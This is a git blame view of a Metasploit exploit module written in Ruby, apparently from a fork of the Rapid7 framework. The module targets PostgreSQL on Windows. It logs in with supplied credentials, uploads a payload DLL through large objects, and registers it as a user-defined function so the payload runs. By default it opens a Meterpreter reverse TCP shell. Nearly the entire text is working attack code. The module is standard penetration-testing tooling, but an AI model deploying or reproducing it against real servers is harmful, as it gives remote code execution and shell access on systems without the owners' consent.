Files
metasploit-gs/modules/exploits/windows/postgres/postgres_payload.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

144 lines
4.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Postgres
2012-12-22 00:30:09 -06:00
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
2024-02-12 11:52:48 +00:00
include Msf::OptionalSession::PostgreSQL
2013-08-30 16:28:54 -05:00
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
'Description' => %q{
2012-12-22 00:30:09 -06:00
On default Microsoft Windows installations of PostgreSQL the postgres
service account may write to the current directory (which is usually
"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
major.minor version of PostgreSQL). UDF DLL's may be sourced from
there as well.
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
This module uploads a Windows DLL file via the pg_largeobject method
of binary injection and creates a UDF (user defined function) from
that DLL. Because the payload is run from DllMain, it does not need to
conform to specific Postgres API versions.
},
'Author' =>
[
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
'todb' # this Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
2020-06-14 16:39:46 +02:00
[ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
],
'Platform' => 'win',
'Targets' =>
2012-12-22 00:30:09 -06:00
[
2021-08-20 16:06:16 +01:00
[ 'Windows x86',
{
'Arch' => ARCH_X86,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
}
],
[ 'Windows x64',
{
'Arch' => ARCH_X64,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
2012-12-22 00:30:09 -06:00
],
'DefaultTarget' => 0,
2024-01-24 13:47:22 +00:00
'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper.
))
2013-08-30 16:28:54 -05:00
deregister_options('SQL', 'RETURN_ROWSET')
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
def check
version = postgres_fingerprint
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
if version[:auth]
2017-07-19 12:48:52 +01:00
print_good "Authentication successful. Version: #{version}"
2014-01-20 14:26:10 -06:00
return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable
2012-12-22 00:30:09 -06:00
else
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
return CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
def exploit
2024-01-24 13:47:22 +00:00
self.postgres_conn = session.client if session
2012-12-22 00:30:09 -06:00
version = do_login(username,password,database)
case version
2017-07-21 07:41:51 -07:00
when :noauth; print_error "Authentication failed"; return
when :noconn; print_error "Connection failed"; return
2012-12-22 00:30:09 -06:00
else
2024-02-19 10:57:53 +00:00
print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
register_files_for_cleanup(fname)
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
unless postgres_upload_binary_data(generate_payload_dll, fname)
print_error "Could not upload the UDF DLL"
return
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
print_status "Uploaded as #{fname}"
begin
func_name = Rex::Text.rand_text_alpha(10)
postgres_query(
"create or replace function pg_temp.#{func_name}()"+
" returns void as '#{fname}','#{func_name}'"+
" language c strict immutable"
)
rescue RuntimeError => e
print_error "Failed to create UDF function: #{e.class}: #{e}"
end
2024-01-24 13:47:22 +00:00
postgres_logout if @postgres_conn && session.blank?
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
2012-12-22 00:30:09 -06:00
# Authenticate to the postgres server.
#
# Returns the version from #postgres_fingerprint
def do_login(user=nil,pass=nil,database=nil)
begin
password = pass || postgres_password
2024-01-24 13:47:22 +00:00
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
2012-12-22 00:30:09 -06:00
report_service(
2024-02-19 10:57:53 +00:00
:host => postgres_conn.peerhost,
:port => postgres_conn.peerport,
2012-12-22 00:30:09 -06:00
:name => "postgres",
:info => result.values.first
)
return result[:auth]
else
2017-07-19 11:46:39 +01:00
print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
return :noauth
end
2012-12-22 00:30:09 -06:00
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
return :noconn
end
end
2012-12-22 00:30:09 -06:00
end